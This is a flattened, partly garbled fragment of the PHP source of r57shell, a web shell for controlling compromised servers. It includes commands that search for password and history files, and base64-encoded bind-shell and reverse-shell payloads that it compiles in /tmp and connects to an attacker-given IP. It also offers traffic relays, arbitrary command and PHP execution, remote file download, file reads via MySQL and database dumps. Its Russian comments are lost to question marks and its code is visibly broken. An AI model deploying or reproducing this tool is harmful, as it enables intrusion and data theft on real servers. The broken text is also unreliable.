?????? config* */ /n'find config* files in current dir'=>'find . -type f -name "config*"', /n/* ????? ?? ??????? ???? ?????? ????????? ?? ?????? ??? ???? */ /n'find all writable files'=>'find / -type f -perm -2 -ls', /n/* ????? ? ??????? ?????????? ???? ?????? ????????? ?? ?????? ??? ???? */ /n'find all writable files in current dir'=>'find . -type f -perm -2 -ls', /n/* ????? ?? ??????? ???? ?????????? ????????? ?? ?????? ??? ???? */ /n'find all writable directories'=>'find / -type d -perm -2 -ls', /n/* ????? ? ??????? ?????????? ???? ?????????? ????????? ?? ?????? ??? ???? */ /n'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', /n/* ????? ?? ??????? ???? ?????????? ? ?????? ????????? ?? ?????? ??? ???? */ /n'find all writable directories and files'=>'find / -perm -2 -ls', /n/* ????? ? ??????? ?????????? ???? ?????????? ? ?????? ????????? ?? ?????? ??? ???? */ /n'find all writable directories and files in current dir'=>'find . -perm -2 -ls', /n/* ????? ?? ??????? ?????? service.pwd ... frontpage =))) */ /n'find all service.pwd files'=>'find / -type f -name service.pwd', /n/* ????? ? ??????? ?????????? ?????? service.pwd */ /n'find service.pwd files in current dir'=>'find . -type f -name service.pwd', /n/* ????? ?? ??????? ?????? .htpasswd */ /n'find all .htpasswd files'=>'find / -type f -name .htpasswd', /n/* ????? ? ??????? ?????????? ?????? .htpasswd */ /n'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', /n/* ????? ???? ?????? .bash_history */ /n'find all .bash_history files'=>'find / -type f -name .bash_history', /n/* ????? ? ??????? ?????????? ?????? .bash_history */ /n'find .bash_history files in current dir'=>'find . -type f -name .bash_history', /n/* ????? ???? ?????? .fetchmailrc */ /n'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', /n/* ????? ? ??????? ?????????? ?????? .fetchmailrc */ /n'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', /n/* ????? ?????? ????????? ?????? ?? ???????? ??????? ext2fs */ /n'list file attributes on a Linux second extended file system'=>'lsattr -va', /n/* ???????? ???????? ?????? */ /n'show opened ports'=>'netstat -an | grep -i listen', /n'----------------------------------------------------------------------------------------------------'=>'ls -la' /n/* html */ /n$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: " /n$table_up2 = " ::</div></b></font></td></tr><tr><td>" /n$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>" /n$table_end1 = "</td></tr>" /n$arrow = " <font face=Wingdings color=gray>?</font>" /n$lb = "<font color=black>[</font>" /n$rb = "<font color=black>]</font>" /n$font = "<font face=Verdana size=-2>" /n/* change dir */ /nif (!empty($_POST['dir'])) { @chdir($_POST['dir']) /n/* get OS */ /n$windows = 0 /nif(strlen($dir)>1 && $dir[1]==":") $windows=1 /n{ // ?? ?????? ???? ?? ??????? ???????? ?????????? /n$os = getenv('OS') /nif(@eregi("^win",$os)) { $windows = 1 /n/* search text in files */ /nif(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") /nif(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']) /nelse { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']) /n$sr->SearchText(0,0) /n$res = $sr->GetResultFiles() /n$found = $sr->GetMatchesCount() /n$titles = $sr->GetTitles() /n$r = "" /nif($found > 0) /n$r .= "<TABLE width=100%>" /nforeach($res as $file=>$v) /n$r .= "<TR>" /n$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3) /n$r .= ($windows)? str_replace("/","",$file) : $file /n$r .= "</b></font></ TD>" /n$r .= "</TR>" /nforeach($v as $a=>$b) /n$r .= "<TR>" /n$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>" /n$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>" /n$r .= "</TR>n" /n$r .= "</TABLE>" /necho "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>" /necho "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>" /n/* ???????? ???? ????? ?? ?? ????????? ??????? ??? ??????????? safe_mode. ???? ??? ?? ??????? ??? ???? ??????? */ /n/* ??????? ????????????? ?????????? ?????? ?? ????? ????? ???? ???????? ?? cmd.exe ???????????? */ /n/* ???? ????? ? php.ini ????????? disable_functions */ /nif($windows&&!$safe_mode) /n$uname = ex("ver") /nif(empty($uname)) { $safe_mode = 1 /nelse if($unix&&!$safe_mode) /n$uname = ex("uname") /n/* get server info */ /n$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE') /n/* FUNCTIONS */ /n/* WriteSpace */ /n/* tnx to virus for idea */ /nreturn @str_repeat("  /nif(function_exists('exec')) /n$res = join("n",$res) /nelseif(function_exists('shell_exec')) /nelseif(function_exists('system')) /nelseif(function_exists('passthru')) /nelseif(@is_resource($f = @popen($cfe,"r"))) /n$res = "" /nif(!empty($res)) return $res /n/* write error */ /nfunction we($i) /nif($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? ' /nelse { $text = "[-] ERROR! Can't write in file " /necho "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>" /n/* read error */ /nfunction re($i) /nif($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? ' /nelse { $text = "[-] ERROR! Can't read file " /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>" /n/* create error */ /nfunction ce($i) /nif($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? " /nelse { $text = "Can't create " /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>" /n/* permissions */ /nif ($GLOBALS['windows']) return 0 /nif( $mode & 0x1000 ) $type='p' /nelse if( $mode & 0x2000 ) $type='c' /nelse if( $mode & 0x4000 ) $type='d' /nelse if( $mode & 0x6000 ) $type='b' /nelse if( $mode & 0x8000 ) $type='-' /nelse if( $mode & 0xA000 ) $type='l' /nelse if( $mode & 0xC000 ) $type='s' /nelse $type='u' /n$owner["read"] = ($mode & 00400) ? 'r' : '-' /n$owner["write"] = ($mode & 00200) ? 'w' : '-' /n$owner["execute"] = ($mode & 00100) ? 'x' : '-' /n$group["read"] = ($mode & 00040) ? 'r' : '-' /n$group["write"] = ($mode & 00020) ? 'w' : '-' /n$group["execute"] = ($mode & 00010) ? 'x' : '-' /n$world["read"] = ($mode & 00004) ? 'r' : '-' /n$world["write"] = ($mode & 00002) ? 'w' : '-' /n$world["execute"] = ($mode & 00001) ? 'x' : '-' /nif( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S' /nif( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S' /nif( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T' /n$s=sprintf("%1s", $type) /n$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']) /n$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']) /n$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']) /n/* find path to */ /nif ($GLOBALS['windows']) { return 0 /n$path = ex("which $pr") /nif(!empty($path)) return $path /n/* create file */ /n$w_file=@fopen($fname,"w") or we($fname) /nif (!@function_exists("view_size")) /nif($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB" /nelseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB" /nelseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB" /nelse {$size = $size . " B" /nfunction DirFiles($dir,$types='') /nif($handle = @opendir($dir)) /nif ($file != "." && $file != "..") /nif(!is_dir($dir."/".$file)) /n$pos = @strrpos($file,".") /nif(@in_array($ext,@explode(' /n$files[] = $dir."/".$file /n$files[] = $dir."/".$file /nfunction DirFilesWide($dir) /n$dirs = Array() /nif ($file != "." && $file != "..") /nif(@is_dir($dir."/".$file)) /n$file = @strtoupper($file) /n$dirs[$file] = '< /n$files[$file] = @filesize($dir."/".$file) /n@ksort($dirs) /n@ksort($files) /n$files = @array_merge($dirs,$files) /nfunction DirFilesR($dir,$types='') /nif ($file != "." && $file != "..") /nif(@is_dir($dir."/".$file)) /n$files = @array_merge($files,DirFilesR($dir."/".$file,$types)) /n$pos = @strrpos($file,".") /nif(@in_array($ext,explode(' /n$files[] = $dir."/".$file /n$files[] = $dir."/".$file /nfunction DirPrintHTMLHeaders($dir) /n$handle = @opendir($dir) or die("Can't open directory $dir") /necho " <ul style='margin-left: 0px /nif ($file != "." && $file != "..") /nif(@is_dir($dir."/".$file)) /necho " <li><b>[ $file ]</b></li>n" /nDirPrintHTMLHeaders($dir."/".$file) /n$pos = @strrpos($file,".") /nif(@in_array($ext,array('.htm','.html'))) /n$header = '-=None=-' /n$strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file) /n$pattern = '(<title>(.+)</title>)' /nif(@eregi($pattern,$strings[$a],$pockets)) /n$header = "« /necho " <li>".$header."</li>n" /necho " </ul>n" /nfunction SearchResult($dir,$text,$filter='') /n$dirs = @explode(" /n$this->FilesToSearch = Array() /n$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)) /n$this->text = $text /n$this->FilesTotal = @count($this->FilesToSearch) /n$this->TimeStart = getmicrotime() /n$this->MatchesCount = 0 /n$this->ResultFiles = Array() /n$this->FileMatchesCount = Array() /n$this->titles = Array() /nfunction GetFilesTotal() { return $this->FilesTotal /nfunction GetTitles() { return $this->titles /nfunction GetTimeTotal() { return $this->TimeTotal /nfunction GetMatchesCount() { return $this->MatchesCount /nfunction GetFileMatchesCount() { return $this->FileMatchesCount /nfunction GetResultFiles() { return $this->ResultFiles /n$qq = @explode(' ',$this->text) /n$delim = '|' /nforeach($qq as $k=>$v) /n$qq[$k] = 'b'.$v.'b' /n$words = '('.@implode($delim,$qq).')' /n$pattern = "/".$words."/" /n$pattern .= 'i' /nforeach($this->FilesToSearch as $k=>$filename) /n$this->FileMatchesCount[$filename] = 0 /nif($count = @preg_match_all($pattern,$CurString,$aa)) /n$CurString = @preg_replace($pattern,"<SPAN style='color: #990000 /n$this->ResultFiles[$filename][$a+1] = $CurString /n$this->MatchesCount += $count /n$this->FileMatchesCount[$filename] += $count /n$this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4) /nlist($usec,$sec) = @explode(" ",@microtime()) /n/*** base64 ---------------------------------------------------------------------------------------------------- */ /n/* --- Port bind source C -------------------------------------------------------------------------------------- */ /n$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS /nlbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=" /n/* --- END Port bind source C ---------------------------------------------------------------------------------- */ /n/* --- Port bind source PERL ----------------------------------------------------------------------------------- */ /n$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS /nlIENPTk47DQpleGl0IDA7DQp9DQp9" /n/* --- END Port bind source PERL ------------------------------------------------------------------------------- */ /n/* --- Back connect source PERL -------------------------------------------------------------------------------- */ /n$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj /nOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==" /n/* --- END Back connect source PERL ---------------------------------------------------------------------------- */ /n/* --- Back connect source C ----------------------------------------------------------------------------------- */ /n$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC /nOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" /n/* --- END Back connect source C ------------------------------------------------------------------------------- */ /n/* --- datapipe.c ---------------------------------------------------------------------------------------------- */ /n$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 /nlsZSk7DQogIHJldHVybiAwOw0KfQ==" /n/* --- END datapipe.c ------------------------------------------------------------------------------------------ */ /n/* --- datapipe.pl --------------------------------------------------------------------------------------------- */ /n$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I /n1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=" /n/* --- END datapipe.pl ----------------------------------------------------------------------------------------- */ /n/*** END base64 ------------------------------------------------------------------------------------------------ */ /n//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// /n/* LOGO + info */ /necho '</head> /n<body bgcolor="#e4e0d8"> /n<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> /n<tr><td bgcolor=#cccccc width=160> /n<!-- logo --> /n<font face=Verdana size=2>'.ws(1).'  /n<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> /n</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>' /n$si = 3 /necho "<b>".date ("d-m-Y H:i:s")."</b>" /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title="".$lang[$language.'_text46'].""><b>phpinfo</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title="".$lang[$language.'_text47'].""><b>php.ini</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title="".$lang[$language.'_text50'].""><b>cpu</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title="".$lang[$language.'_text51'].""><b>mem</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title="".$lang[$language.'_text48'].""><b>tmp</b></a> ".$rb /necho ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title="".$lang[$language.'_text49'].""><b>delete</b></a> ".$rb."<br>" /necho (($safe_mode)?("safe_mode: <b>ON</b>"):("safe_mode: <b>OFF</b>")) /necho "PHP version: <b>".@phpversion()."</b>" /n$curl_on = @function_exists('curl_version') /necho "cURL: ".(($curl_on)?("<b>ON (".@curl_version().")</b>"):("<b>OFF</b>")) /necho "MySQL: <b>" /n$mysql_on = @function_exists('mysql_connect') /nif($mysql_on) /n$client_api = @function_exists('mysql_get_client_info') ? @mysql_get_client_info() : "" /necho "ON ($client_api)</b>" /necho "OFF</b>" /necho "<br>".ws(2) /necho "Disable functions : <b>" /n$df = @ini_get('disable_functions') /nif(empty($df)) echo "NONE</b>" /n$used = $all-$free /n$used_percent = @round(100/($all/$free),2) /necho "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>" /necho '</font></td></tr><table> /n<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> /n<tr><td align=right width=100>' /n/* display information */ /nif(!$windows){ /necho '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>' /necho "</td><td>" /necho "<font face=Verdana size=-2 color=red><b>" /n$uname = ex('uname -a') /necho((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")) /n$bsd1 = ex('/sbin/sysctl -n kern.ostype') /n$bsd2 = ex('/sbin/sysctl -n kern.osrelease') /n$lin1 = ex('/sbin/sysctl -n kernel.ostype') /n$lin2 = ex('/sbin/sysctl -n kernel.osrelease') /nif (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2" /nelse if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2" /necho ws(3).$sysctl."<br>" /necho ws(3).ex('echo $OSTYPE')."<br>" /necho ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>" /n$id = ex('id') /necho((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")) /necho "</b></font>" /necho '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>' /necho "</td><td>" /necho "<font face=Verdana size=-2 color=red><b>" /necho ws(3).@substr(@php_uname(),0,120)."<br>" /necho ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>" /necho ws(3).@get_current_user()."<br>" /necho ws(3).$dir."<br>" /necho "</font>" /necho "</font>" /necho "</td></tr></table>" /n/* find text */ /nif(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") /n$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name ''.$_POST['s_mask'].'' | xargs grep -E ''.$_POST['s_text'].''' /n/* chmod/chown/chgrp */ /nif(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") /nswitch($_POST['what']) /ncase 'own': /n@chown($_POST['param1'],$_POST['param2']) /ncase 'grp': /n@chgrp($_POST['param1'],$_POST['param2']) /ncase 'mod': /n@chmod($_POST['param1'],intval($_POST['param2'], 8)) /n$_POST['cmd']="" /n/* make */ /nif(!empty($_POST['cmd']) && $_POST['cmd']=="mk") /nswitch($_POST['what']) /ncase 'file': /nif($_POST['action'] == "create") /nif(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']) /n$_POST['e_name'] = $_POST['mk_name'] /n$_POST['cmd']="edit_file" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>" /nelse if($_POST['action'] == "delete") /nif(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>" /n$_POST['cmd']="" /ncase 'dir': /nif($_POST['action'] == "create"){ /nif(mkdir($_POST['mk_name'])) /n$_POST['cmd']="" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>" /nelse { echo ce($_POST['mk_name']) /nelse if($_POST['action'] == "delete"){ /nif(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>" /n$_POST['cmd']="" /n/* edit file */ /nif(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") /nif(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1 /nif(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']) /necho "<form name=save_file method=post>" /necho ws(3)."<b>".$_POST['e_name']."</b>" /necho "<div align=center><textarea name=e_text cols=121 rows=24>" /necho @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))) /necho "</textarea>" /necho "<input type=hidden name=e_name size=85 value=".$_POST['e_name'].">" /necho "<input type=hidden name=dir value=".$dir.">" /necho "<input type=hidden name=cmd size=85 value=save_file>" /necho (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=" ".$lang[$language.'_butt10']." ">")) /necho "</div>" /necho "</font>" /necho "</form>" /necho "</td></tr></table>" /n/* save file */ /nif(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") /nif(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']) /n@fwrite($file,$_POST['e_text']) /n@fclose($file) /n$_POST['cmd']="" /necho "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>" /n/* port bind C */ /nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) /ncf("/tmp/bd.c",$port_bind_bd_c) /n$blah = ex("gcc -o /tmp/bd /tmp/bd.c") /n@unlink("/tmp/bd.c") /n$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &") /n$_POST['cmd']="ps -aux | grep bd" /n/* port bind Perl */ /nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) /ncf("/tmp/bdpl",$port_bind_bd_pl) /n$p2=which("perl") /nif(empty($p2)) $p2="perl" /n$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &") /n$_POST['cmd']="ps -aux | grep bdpl" /n/* back connect Perl */ /nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) /ncf("/tmp/back",$back_connect) /n$p2=which("perl") /nif(empty($p2)) $p2="perl" /n$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &") /n$_POST['cmd']="echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."" /n/* back connect C */ /nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) /ncf("/tmp/back.c",$back_connect_c) /n$blah = ex("gcc -o /tmp/backc /tmp/back.c") /n@unlink("/tmp/back.c") /n$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &") /n$_POST['cmd']="echo "Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ..."" /n/* datapipe perl */ /nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) /ncf("/tmp/dp",$datapipe_pl) /n$p2=which("perl") /nif(empty($p2)) $p2="perl" /n$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &") /n$_POST['cmd']="ps -aux | grep dp" /n/* datapipe C */ /nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) /ncf("/tmp/dpc.c",$datapipe_c) /n$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c") /n@unlink("/tmp/dpc.c") /n$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &") /n$_POST['cmd']="ps -aux | grep dpc" /n/* alias execute */ /nif (!empty($_POST['alias'])) /nforeach ($aliases as $alias_name=>$alias_cmd) { /nif ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd /n/* file upload */ /nif (!empty($HTTP_POST_FILES['userfile']['name'])) /nif(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name'] /nelse { $nfn = $HTTP_POST_FILES['userfile']['name'] /n@copy($HTTP_POST_FILES['userfile']['tmp_name'], /n$_POST['dir']."/".$nfn) /nor print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>") /n/* file upload from remote host */ /nif (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) /nswitch($_POST['with']) /n$p2=which("wget") /nif(empty($p2)) $p2="wget" /n$_POST['cmd'] = $p2." ".$_POST['rem_file']." -O ".$_POST['loc_file']."" /n$p2=which("fetch") /nif(empty($p2)) $p2="fetch" /n$_POST['cmd']= $p2." -p ".$_POST['rem_file']." -o ".$_POST['loc_file']."" /n$p2=which("lynx") /nif(empty($p2)) $p2="lynx" /n$_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."" /n$p2=which("links") /nif(empty($p2)) $p2="links" /n$_POST['cmd']= $p2." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."" /n$p2=which("GET") /nif(empty($p2)) $p2="GET" /n$_POST['cmd']= $p2." ".$_POST['rem_file']." > ".$_POST['loc_file']."" /n$p2=which("curl") /nif(empty($p2)) $p2="curl" /n$_POST['cmd']= $p2." ".$_POST['rem_file']." -o ".$_POST['loc_file']."" /n/* command execute */ /nif (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia") /nelse if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir" /necho $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td>" /necho "<b>" /necho "<div align=center><textarea name=report cols=121 rows=15>" /n// safe_mode On /nswitch($_POST['cmd']) /ncase 'safe_dir': // dir listing /nwhile (false!==($file=$d->read())) /nif ($file=="." || $file=="..") continue /nif($windows){ // WINDOWS STYLE /necho date("d.m.Y H:i",$mtime) /nif(@is_dir($file)) echo " <DIR> " /nelse{ // UNIX STYLE /necho $inode." " /nprintf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size) /necho date("d.m.Y H:i ",$mtime) /necho "$filen" /n$d->close() /ncase 'safe_file': /nif(@is_file($_POST['file'])) /n$file = @file($_POST['file']) /nif($file) /n$c = @sizeof($file) /nelse echo $lang[$language._text31] /ncase 'test1': /n$ci = @curl_init("file://".$_POST['test1_file']."") /ncase 'test2': /ninclude($_POST['test2_file']) /ncase 'test3': /n$db = @mysql_connect('localhost',$_POST['test3_ml'],$_POST['test3_mp']) /nif(@mysql_select_db($_POST['test3_md'],$db)) /n$sql = "DROP TABLE IF EXISTS temp_r57_table /n@mysql_query($sql) /n$sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL ) /n$sql = "LOAD DATA INFILE "".$_POST['test3_file']."" INTO TABLE temp_r57_table /n$sql = "SELECT * FROM temp_r57_table /n$r = @mysql_query($sql) /nwhile($r_sql = @mysql_fetch_array($r)) { echo @htmlspecialchars($r_sql[0]) /n$sql = "DROP TABLE IF EXISTS temp_r57_table /nelse echo "[-] ERROR! Can't select database" /nelse echo "[-] ERROR! Can't connect to mysql server" /n} // end : switch($_POST['cmd']) /n} // end : if($safe_mode) /n// safe_mode Off /nelse if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")) /n$cmd_rep = ex($_POST['cmd']) /nif($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."n" /nelse { echo @htmlspecialchars($cmd_rep)."n" /n// ?? ??????? ?? ????? /nif ($_POST['cmd']=="php_eval") /n$eval = @str_replace("<?","",$_POST['php_eval']) /n$eval = @str_replace("?>","",$eval) /n/* mysql ???? */ /nif ($_POST['cmd']=="mysql_dump") /nif(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w") /nif((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ /n$db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']) /nif(@mysql_select_db($_POST['mysql_db'],$db)) /n// ???? ? ????? /n$sql1 = "# MySQL dump created by r57shellrn" /n$sql1 .= "# homepage: http://rst.void.rurn" /n$sql1 .= "# ---------------------------------rn" /n$sql1 .= "# date : ".date ("j F Y g:i")."rn" /n$sql1 .= "# database : ".$_POST['mysql_db']."rn" /n$sql1 .= "# table : ".$_POST['mysql_tbl']."rn" /n$sql1 .= "# ---------------------------------rnrn" /n// ???????? ????? ??????? ???????? ????????? ??????? /n$res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db) /n$row = @mysql_fetch_row($res) /n$sql1 .= $row[1]."rnrn" /n$sql1 .= "# ---------------------------------rnrn" /n$sql2 = '' /n// ???????? ?????? ??????? /n$res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db) /nif (@mysql_num_rows($res) > 0) { /nwhile ($row = @mysql_fetch_assoc($res)) { /n$keys = @implode("`, `", @array_keys($row)) /n$values = @array_values($row) /nforeach($values as $k=>$v) {$values[$k] = addslashes($v) /n$values = @implode("', '", $values) /n$sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."') /n$sql2 .= "rn# ---------------------------------" /n// ????? ? ???? ??? ??????? ? ??????? /nif(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2) /nelse { echo $sql1.$sql2 /n} // end if(@mysql_select_db($_POST['mysql_db'],$db)) /nelse echo "[-] ERROR! Can't select database" /n} // end if($db) /nelse echo "[-] ERROR! Can't connect to mysql server" /n} // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){ /nelse if(!empty($_POST['dif'])&&!$fp) { echo 